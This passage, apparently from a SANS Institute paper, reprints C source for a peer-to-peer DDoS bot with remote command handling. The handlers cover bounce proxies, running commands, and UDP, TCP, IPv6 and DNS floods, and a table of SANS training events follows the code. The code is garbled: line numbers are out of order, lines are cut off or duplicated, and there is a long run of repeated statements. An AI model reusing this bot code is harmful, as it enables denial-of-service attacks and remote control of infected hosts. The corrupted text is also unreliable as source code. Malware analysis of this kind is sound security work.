            atcp_close(&clients[n]);
        } else if (clients[n].ext2 == SOCS_REPLY && clients[n].len != 0) {
            struct data_rec rc;
            memset((void*)&rc,0,sizeof(struct data_rec));
            l=atcp_recv(&clients[n], buf, 3000);
            if (*buf == 0) clients[n].ext2=TCP_CONNECTED;
            else {
                rc.h.tag=0x42;
                rc.h.seq=newseq();
                rc.h.id=clients[n].ext3;
                relayclient(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
                FREE(clients[n].ext);
                FREE(clients[n].ext5);
                atcp_close(&clients[n]);
            }
        }
    } else if (clients[n].ext2 == SOCKS_REPLY && clients[n].len != 0) {
        struct add_rec rc;
        memset((void*)&rc,0,sizeof(struct add_rec));
        l=atcp_recv(&clients[n], buf, 3000);
        if (*buf == 0) clients[n].ext2=TCP_CONNECTED;
        else {
            rc.h.tag=0x42;
            rc.h.seq=newseq();
            rc.h.id=clients[n].ext3;
            relayclient(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
            FREE(clients[n].ext);
            FREE(clients[n].ext5);
            atcp_close(&clients[n]);
        }
    } else if (clients[n].ext2 == TCP_CONNECTED && clients[n].len != 0) {
        struct data_rec rc;
        memset((void*)&rc,0,sizeof(struct data_rec));
1915  l=atcp_recv(&clients[n],buf+sizeof(struct data_rec),3000-sizeof(struct
data_rec));
1916  if (l == AUNKNOWN) {
1917    struct kill_rec rc;
1918    memset((void*)&rc,0,sizeof(struct kill_rec));
1919    rc.h.tag=0x42;
1920    rc.h.seq=newseq();
1921    rc.h.id=clients[n].ext3;
1922    relayclient((struct ainst *)clients[n].ext,(void*)&rc,sizeof(struct
1923    kill_rec));
1924    FREE(clients[n].ext);
1925    FREE(clients[n].ext5);
1926    atcp_close(&clients[n]);
1927  } else {
1928    l=clients[n].len;
1929    rc.h.tag=0x41;
1930    rc.h.seq=newseq();
1931    rc.h.id=clients[n].ext3;
1932    rc.h.len=1;
1933    _encrypt(buf+sizeof(struct data_rec),l);
1934    memcpy(buf,(void*)&rc,sizeof(struct data_rec));
1935    relayclient((struct ainst *)clients[n].ext,buf,l+sizeof(struct
1936    data_rec));
1937  }
1938  }
1939
1940  if (udpserver.len != 0) if (!udp_recv(&udpserver,&udpclient,buf,3000)) {
1941    struct llheader *llrp, ll;
1942    struct header *tmp;
1943    in++; if (udpserver.len < 0 || udpserver.len < sizeof(struct llheader)) continue;
1944    buf+=sizeof(struct llheader);
1945    udpserver.len-=sizeof(struct llheader);
1946    llrp=(struct llheader *)(buf-
1947    sizeof(struct llheader));
1948    tmp=(struct header *)buf;
1949    if (llrp->type == 0) {
1950      memset((void*)&ll,0,sizeof(struct llheader));
1951      if (llrp->checksum != in_cksum(buf,udpserver.len)) continue;
1952      if (!usersa(llrp->id)) addrsa(llrp->id);
1953      else continue;
1954      ll.type=1;
1955      ll.checksum=0;
1956      ll.id=llrp->id;
1957      ll.len=udpserver.len;
1958      if (tmp->tag != 0x26) audp_send(&udpclient,(char*)&ll,sizeof(struct llheader));
1959      else if (llrp->type == 1) {
1960        delqueue(llrp->id);
1961        continue;
1962      }
1963      else continue;
1964    if (udpserver.len >= sizeof(struct header)) {
1965      switch(tmp->tag) {
1966      case 0x20: // Info
1967        struct getinfo_rec *rp=(struct getinfo_rec *)buf;
1968        struct info_rec rc;
1969        if (udpserver.len < sizeof(struct getinfo_rec)) break;
1970        memset((void*)rc,0,sizeof(struct info_rec));
1971        rc.h.tag=0x47;
1972        rc.h.id=tmp->id;
1973        rc.h.seq=newseq();
1974        rc.h.len=0;
1975        rc.a=a;
1976        rc.b=b;
1977        rc.c=c;
1978        rc.d=d;
1979        #ifdef SCAN
1980        rc.ip=myip;
1981        rc.uptime=time(NULL)-uptime;
1982        rc.in=in;
1983        rc.out=out;
1984        rc.version=VERSION;
1985        rc.regtime=rp->mtime;
1986        relayclient(&udpclient,(char*)rc,sizeof(struct info_rec));
1987        break;
1976        #endif
1980        #endif
1981      case 0x21: // Open a bounce
1982      struct add_rec *sr=(struct add_rec *)buf;
1983      if (udpserver.len < sizeof(struct add_rec)) break;
1984    }
for (n=0;n<CLIENTS;n++) if (clients[n].sock == 0) {
    char srv[256];
    char *str;
    if (sr->socks == 0) conv(srv,256,sr->server);
    else conv(srv,256,sr->sockets);
    clients[n].ext3=sr->h.id;
    clients[n].ext1=(struct ainst *)malloc(sizeof(struct ainst));
    if (clients[n].ext1 == NULL) {
        clients[n].sock=0;
        atcp_close(&clients[n]);
        break;
    }
    else {
        clients[n].ext5=(char*)malloc(9);
        if (clients[n].ext5 == NULL) {
            clients[n].sock=0;
            break;
        }
        if ((nchar*)clients[n].ext5)[0]==0x04;
        if ((nchar*)clients[n].ext5)[1]==0x01;
        if ((nchar*)clients[n].ext5)[2]==((char*)sr->server)[0];
        if ((nchar*)clients[n].ext5)[3]==((char*)sr->server)[1];
        if ((nchar*)clients[n].ext5)[4]==((char*)sr->server)[2];
        if ((nchar*)clients[n].ext5)[5]==((char*)sr->server)[3];
        if ((nchar*)clients[n].ext5)[6]==((char*)sr->server)[4];
        if ((nchar*)clients[n].ext5)[7]==((char*)sr->server)[5];
        if ((nchar*)clients[n].ext5)[8]==0x00;
        atcp_sync_connect(&clients[n],srv,sr->port);
    }
}

if (sr->bind) abind(&clients[n],sr->bind,0);
break;

case 0x22: // Close a bounce
    struct kill_rec *sr=(struct kill_rec *)buf;
    for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->h.id) {
        FREE(clients[n].ext);
        FREE(clients[n].ext5);
        atcp_close(&clients[n]);
    }
    break;

case 0x23: // Send a message to a bounce
    struct data_rec *sr=(struct data_rec *)buf;
    if (udpserver.len < sizeof(struct data_rec)+sr->h.len) break;
    for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->h.id) {
        _decrypt(buf+sizeof(struct data_rec),sr->h.len);
        atcp_send(&clients[n],buf+sizeof(struct data_rec),sr->h.len);
    }
    break;

case 0x24: // Run a command
    FILE *f;
    struct data_rec *sr=(struct data_rec *)buf;
    if (udpserver.len < sizeof(struct data_rec)+sr->h.len) break;
    for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->h.id) {
        _decrypt(buf+sizeof(struct data_rec),sr->h.len);
        atcp_send(&clients[n],buf+sizeof(struct data_rec),sr->h.len);
    }
    break;

#define LARGE_NET

...
if (feof(f)) break;
len=strlen(buf);
memset((void*)&rc,0,sizeof(struct data_rec));
rc.h.tag=0x41;
rc.h.seq=newseq();
rc.h.id=id;
rc.h.len=len;
_encrypt(buf,len);
str=(char*)malloc(sizeof(struct data_rec)+len);
if (str == NULL) break;
memcpy((void*)str,(void*)&rc,sizeof(struct data_rec));
memcpy((void*)(str+sizeof(struct data_rec)),buf,len);
relayclient(&udpclient,str,sizeof(struct data_rec)+len);
FREE(str);
} 

close(f);
} 

else senderror(&udpclient,id,"Unable to execute command"); 
} break;
#endif 
case 0x25: { 
} break;

} 

} case 0x26: { // Route 
struct route_rec *rp=(struct route_rec *)buf; 
unsigned long i; 
if (udpserver.len < sizeof(struct route_rec)) break;
if (!useseq(rp->h.seq)) { 
addseq(rp->h.seq);
audp_send(&udpclient,(char*)&ll,sizeof(struct llheader));
if (rp->sync == 1 && rp->links != numlinks) { 
if (time(NULL)-synctime > 60) { 
if (rp->links > numlinks) { 
memset((void*)&initrec,0,sizeof(struct initsrv_rec));
ininitrec.h.tag=0x72;
ininitrec.h.len=0;
ininitrec.h.id=0;
relayclient(&udpclient,(char*)&initrec,sizeof(struct initsrv_rec));
} 
else syncm(&udpclient,0x71,0);
synctime=time(NULL);
} 
} 
if (rp->server == -1 || rp->server == 0 || rp->server == myip) relay(inet_addr("127.0.0.1"),buf+sizeof(struct route_rec),rp->h.len-sizeof(struct route_rec));
if (rp->server == -1 || rp->server == 0) segment(2,buf,rp->h.len);
else if (rp->server != myip) { 
if (rp->hops == 0 || rp->hops > 16) { 
else { 
} 
} 
} 
} 
for (i=LINKS;i>0;i--)
memcpy((struct route_table*)&routes[i],(struct route_table*)&routes[i-1],sizeof(struct route_table));
memset((struct route_table*)&routes[0],0,sizeof(struct route_table));
} 

} case 0x27: { 
} break;
case 0x28: // List
    struct list_rec *rp=(struct list_rec *)buf;
    if (udpserver.len < sizeof(struct list_rec)) break;
    syncm(&udpclient,0x46,rp->h.id);
    } break;
  case 0x29: // Udp flood
    int flag=1,fd,i=0;
    char *str;
    struct sockaddr_in in;
    time_t start=time(NULL);
    struct udp_rec *rp=(struct udp_rec *)buf;
    if (udpserver.len < sizeof(struct udp_rec)) break;
    if (rp->size > 9216) {
        senderror(&udpclient,rp->h.id,"Size must be less than
        break;
    } if (!isreal(rp->target)) {
        senderror(&udpclient,rp->h.id,"Cannot packet local
        break;
    } if (waitforqueues()) break;
    str=(char*)malloc(rp->size);
    if (str == NULL) break;
    for (i=0;i<rp->size;i++) str[i]=rand();
    memset((void*)&in,0,sizeof(struct sockaddr_in));
    in.sin_addr.s_addr=rp->target;
    in.sin_family=AF_INET;
    in.sin_port=htons(rp->port);
    while(1) {
        if (rp->port == 0) in.sin_port = rand();
        if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
        else {
            flag = fcntl(fd, F_GETFL, 0);
            flag |= O_NONBLOCK;
            fcntl(fd, F_SETFL, flag);
            sendto(fd,str,rp->size,0,(struct
            close(fd);
            } if (i >= 50) {
            if (time(NULL) >= start+rp->secs) exit(0);
            i=0;
            } i++;
        } FREE(str);
        } exit(0);
    case 0x2A: // Tcp flood
    int flag=1,fd,i=0;
    struct sockaddr_in in;
    time_t start=time(NULL);
    struct tcp_rec *rp=(struct tcp_rec *)buf;
    if (udpserver.len < sizeof(struct tcp_rec)) break;
    if (!isreal(rp->target)) {
        senderror(&udpclient,rp->h.id,"Cannot packet local
        break;
    } if (waitforqueues()) break;
    memset((void*)&in,0,sizeof(struct sockaddr_in));
    in.sin_addr.s_addr=rp->target;
    in.sin_family=AF_INET;
    in.sin_port=htons(rp->port);
    while(1) {
        if (rp->port == 0) in.sin_port = rand();
        if ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0);
        else {
            flag = fcntl(fd, F_GETFL, 0);
            flag |= O_NONBLOCK;
            fcntl(fd, F_SETFL, flag);
            connect(fd, (struct sockaddr *)&in,
            close(fd);
            } if (i >= 50) {
            if (time(NULL) >= start+rp->secs) exit(0);
            i=0;
            }
#ifndef NOIPV6

case 0x2B: /* IPv6 Tcp flood */
    int flag=1,fd,i=0,j=0;
    struct tcp6_rec *rp=(struct tcp6_rec *)buf;
    if (udpserver.len < sizeof(struct tcp6_rec)) break;
    if (waitforqueues(1)) break;
    memset((void*)in6.sin6_addr,0,sizeof(struct sockaddr_in6));
    for (i=0;i<4;i++) for (j=0;j<4;j++)
        ((char*)&in6.sin6_addr.s6_addr[i])[j]=((char*)rp-
        target)[i][j];
    in6.sin6_family=AF_INET6;
    in6.sin6_port=htons(rp->port);
    while(1) {
        if (rp->port == 0) in6.sin6_port = rand();
        if ((fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP))
            < 0);
        else {
            flag = fcntl(fd, F_GETFL, 0);
            flag |= O_NONBLOCK;
            fcntl(fd, F_SETFL, flag);
            connect(fd, (struct sockaddr *)&in,
                sizeof(in));
            close(fd);
        }
        if (i >= 50) {
            if (time(NULL) >= start+rp->secs) exit(0);
            i=0;
        }
        i++;
    }
} exit(0);
#endif

case 0x2C: /* Dns flood */
    struct dns {
        unsigned short int id;
        unsigned char rd:1;
        unsigned char tc:1;
        unsigned char aa:1;
        unsigned char opcode:4;
        unsigned char qr:1;
        unsigned char rcode:4;
        unsigned char unused:2;
        unsigned char rrl:1;
        unsigned short int que_num;
        unsigned short int rep_num;
        unsigned short int num_rr;
        unsigned short int num_rrsup;
        char buf[128];
    } dnsp;
    unsigned long len=0,i=0,startm;
    int fd,flag;
    char *convo;
    struct sockaddr_in in;
    struct df_rec *rp=(struct df_rec *)buf;
    time_t start=time(NULL);
    if (udpserver.len < sizeof(struct df_rec)+rp->h.len || rp->
        h.len > 2999-sizeof(struct df_rec)) break;
    if (!isreal(rp->target)) {
        senderror(&udpclient,rp->h.id,"Cannot packet local
            networks in");
    } else {
        unsigned long len=0,i=0,startm;
        int fd,flag;
        char *convo;
        struct sockaddr_in in;
        struct df_rec *rp=(struct df_rec *)buf;
        time_t start=time(NULL);
        if (udpserver.len < sizeof(struct df_rec)+rp->h.len || rp->
            h.len > 2999-sizeof(struct df_rec)) break;
        if (!isreal(rp->target)) {
            senderror(&udpclient,rp->h.id,"Cannot packet local
                networks in");
        }
    }
    if (waitforqueues(1)) break;
    memset((void*)in,0,sizeof(struct sockaddr_in));
    in.sin_addr.s_addr=rp->target;
    in.sin_family=AF_INET;
    in.sin_port=htons(53);
    dnsp.rd=0;
    dnsp.rc=0;
    dnsp.a=0;
    dnsp.opcode=0;
    dnsp.q=0;
    dnsp.rcode=0;
    dnsp.unused=0;
    dnsp.p=0;
} exit(0);
2282
2283  dnsp.rs=0;
2284  dnsp.que_num=256;
2285  dnsp.rep_num=0;
2286  dnsp.num_rr=0;
2287  dnsp.num_rrsup=0;
2288  convert,buf+sizeof(struct df_rec);
2289  convert(rp->h.len)=0;
2290  decrypt( convo, rp->h.len );
2291  if ( (i == startm) && (i <= rp->h.len) ) if ( (conv[i] == '.') ||
2292                              conv[i] == 0 ) { }
2293  startm=startm+1;
2294  startm+=1;
2295  startm=startm+1;
2296  startm=startm+1;
2297  startm=startm+1;
2298  startm=startm+1;
2299  startm=startm+1;
2300  startm=startm+1;
2301  startm=startm+1;
2302  startm=startm+1;
2303  startm=startm+1;
2304  startm=startm+1;
2305  startm=startm+1;
2306  startm=startm+1;
2307  startm=startm+1;
2308  startm=startm+1;
2309  startm=startm+1;
2310  startm=startm+1;
2311  startm=startm+1;
2312  startm=startm+1;
2313  startm=startm+1;
2314  startm=startm+1;
2315  startm=startm+1;
2316  startm=startm+1;
2317  startm=startm+1;
2318  startm=startm+1;
2319  startm=startm+1;
2320  startm=startm+1;
2321  startm=startm+1;
2322  startm=startm+1;
2323  startm=startm+1;
2324  startm=startm+1;
2325  startm=startm+1;
2326  startm=startm+1;
2327  startm=startm+1;
2328  startm=startm+1;
2329  startm=startm+1;
2330  startm=startm+1;
2331  startm=startm+1;
2332  startm=startm+1;
2333  startm=startm+1;
2334  startm=startm+1;
2335  startm=startm+1;
2336  startm=startm+1;
2337  startm=startm+1;
2338  startm=startm+1;
2339  startm=startm+1;
2340  startm=startm+1;
2341  break; }

case 0x2D: // Email scan
2342  case 0x70: // Incomming client
2343  struct {
2344     struct addsrv_rec a;
2345     unsigned long server;
2346  } rc;
2347  struct myip_rec rp;
2348  if ( !isreal(udpclient.in.sin_addr.s_addr) ) break;
2349  syncmode(3);
2350  memset((void*) &rp, 0, sizeof(struct myip_rec));
2351  rp.h.tag=0x73;
2352  rp.h.id=0;
2353  rp.ip=udpclient.in.sin_addr.s_addr;
2354  relayclient(&udpclient,(void *)&rp,sizeof(struct myip_rec));
2355  memset((void*) &rc, 0, sizeof(rc));
2356  rc.a.h.tag=0x71;
rc.a.h.id=0;
rc.a.h.len=sizeof(unsigned long);
rc.server=udpclient.in.sin_addr.s_addr;
broadcast((void*)rc,sizeof(rc));
synctype(1);
addserver(rc.server);
syncm(udpclient,0x71,0);
break;
case 0x71: { // Receive the list
    struct addsrv_rec *rp=buf;
    struct next_rec { unsigned long server; }
    unsigned long a;
    char b=0;
    if (udpserver.len < sizeof(struct addsrv_rec)) break;
    for (a=0;rp->h.len > a*sizeof(struct next_rec) &
    next_rec); } break;
}
addserver(rc.server);
addm(&udpclient,0x71,0);
}
break;
case 0x73: { // Get my IP
    struct myip_rec *rp=(struct myip_rec *)buf;
    if (udpserver.len < sizeof(struct myip_rec)) break;
    if (myip && isreal(rp->ip)) {
        myip=rp->ip;
        addserver(rp->ip);
    }
}
break;
case 0x74: { // Transmit their IP
    struct myip_rec rc;
    memset((void*)&rc,0,sizeof(struct myip_rec));
    rc.h.tag=0x73;
    rc.h.id=0;
    rc.ip=udpclient.in.sin_addr.s_addr;
    relayclient(&udpclient,(void*)rc,sizeof(struct myip_rec));
    break;
}
break;
case 0x41: // --|
case 0x42: // |
case 0x43: // |
case 0x44: // |
case 0x45: // |
case 0x46: // |
case 0x47: // --|
unsigned long a;
struct header *rc=(struct header *)buf;
if (udpserver.len < sizeof(struct header)) break;
for (a=0;a<LINKS;a++) if (routes[a].id == rc->id) {
    struct ainst ts;
    char srv[256];
    conv(srv,256,routes[a].ip);
    audp_relay(&udpserver,&ts,srv,routes[a].port);
    relayclient(&ts,buf,udpserver.len);
    break;
}
break;
2435     audp_close(&udpserver);
2436     return 0;
2437 }

© SANS Institute 2003, Author retains full rights.
## Upcoming SANS Training

Click here to view a list of all SANS Courses

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Cardiff September 2019</td>
<td>Cardiff, GB</td>
<td>Sep 30, 2019 - Oct 5, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Doha October 2019</td>
<td>Doha, QA</td>
<td>Oct 12, 2019 - Oct 17, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Cairo October 2019</td>
<td>Cairo, EG</td>
<td>Oct 19, 2019 - Oct 24, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Santa Monica 2019</td>
<td>Santa Monica, CAUS</td>
<td>Oct 21, 2019 - Oct 26, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Amsterdam October 2019</td>
<td>Amsterdam, NL</td>
<td>Oct 28, 2019 - Nov 2, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Houston 2019</td>
<td>Houston, TXUS</td>
<td>Oct 28, 2019 - Nov 2, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS DFIRCON 2019</td>
<td>Coral Gables, FLUS</td>
<td>Nov 4, 2019 - Nov 9, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Mumbai 2019</td>
<td>Mumbai, IN</td>
<td>Nov 4, 2019 - Nov 9, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>MGT521 Beta One 2019</td>
<td>Crystal City, VAUS</td>
<td>Nov 12, 2019 - Nov 13, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>GridEx V 2019</td>
<td>Online,</td>
<td>Nov 13, 2019 - Nov 14, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Northern VA Fall- Reston 2019</td>
<td>OnlineVAUS</td>
<td>Sep 30, 2019 - Oct 5, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Books &amp; MP3s OnlyUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>